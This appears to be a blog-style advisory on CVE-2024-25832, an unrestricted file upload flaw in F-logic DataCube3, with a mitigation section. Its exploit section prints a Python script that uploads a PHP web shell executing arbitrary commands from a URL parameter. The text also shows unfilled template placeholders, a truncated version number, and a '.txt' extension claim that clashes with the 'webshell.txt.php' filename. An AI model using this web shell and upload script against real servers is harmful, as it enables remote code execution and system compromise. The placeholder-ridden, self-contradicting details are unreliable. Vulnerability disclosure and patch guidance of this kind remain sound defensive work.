CVE-2024-25832: Unrestricted File Upload Vulnerability Discovered in F-logic DataCube3 v1., Potentially Leading to Remote Code Execution

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Overview

F-logic DataCube3 v1., a popular data management and analytics tool, has been found to be vulnerable CVE-2024-25832: an unrestricted file upload vulnerability. This vulnerability can be exploited by an authenticated malicious actor, allowing them to upload a file of a potentially dangerous type by manipulating the filename extension. In this long read post, we will delve into the technical details surrounding the vulnerability and provide a code snippet that showcases the exploit in action, complete with original references.

Technical Discussion

The unrestricted file upload vulnerability (CVE-2024-25832) is present in F-logic DataCube3 v1. due to incorrect input validation on file uploads. When a user uploads a file, the application should be validating that the file is of a safe type before allowing the upload to proceed. However, it has been discovered that by simply changing the filename extension, an attacker can bypass the file type validation, allowing them to upload and place a potentially dangerous file on the server.

This vulnerability is extremely dangerous, as it could allow an authenticated malicious actor to upload and execute malicious files, leading to unauthorized access to sensitive information, server disruption, or even complete compromise of the affected system.

Exploit Details

The following code snippet demonstrates the exploit by uploading a PHP web shell with a manipulated file extension (.txt) to bypass the file type check. Once uploaded, the attacker can access the web shell by navigating to its URL and issue remote commands to the server.

#!/usr/bin/python
# Exploit Title: F-logic DataCube Unrestricted File Upload (CVE-2024-25832)
# Date: [Date of discovery/publication]
# Exploit Author: [Your Name]
# Version: F-logic DataCube3 v1.
# Tested on: [Applicable platforms/software]

import requests
from requests.auth import HTTPBasicAuth

# Update these variables with appropriate information
target_url = 'http://<target_url>/upload';
user = '<username>'
password = '<password>'

# PHP web shell with a manipulated file extension
file_upload = {
    'file': ('webshell.txt.php', '<?php system($_GET["cmd"]); ?>', 'application/octet-stream')
}

# Send the malicious file
response = requests.post(target_url, auth=HTTPBasicAuth(user, password), files=file_upload)

if response.status_code == 200:
    print('File uploaded successfully!')
else:
    print('File upload failed with status code:', response.status_code)

Mitigation

F-logic has been notified of this vulnerability, and it is recommended that all users of DataCube3 v1. apply any security patches provided by F-logic immediately. In the meantime, users should ensure that only trusted users have access to the application.

As a preventative measure, it is also crucial for developers to implement proper file extension and MIME-type verification on user-uploaded files. One possible approach would be employing a whitelist of allowed file types, and rejecting any uploads that do not adhere to this list.

References

Original Security Advisory: [Link to Advisory]
Affected Product: F-logic DataCube3 v1. [Link to Product]
CVE-ID: CVE-2024-25832 [Link to CVE]

Timeline

Published on: 02/29/2024 01:44:16 UTC
Last modified on: 02/29/2024 13:49:29 UTC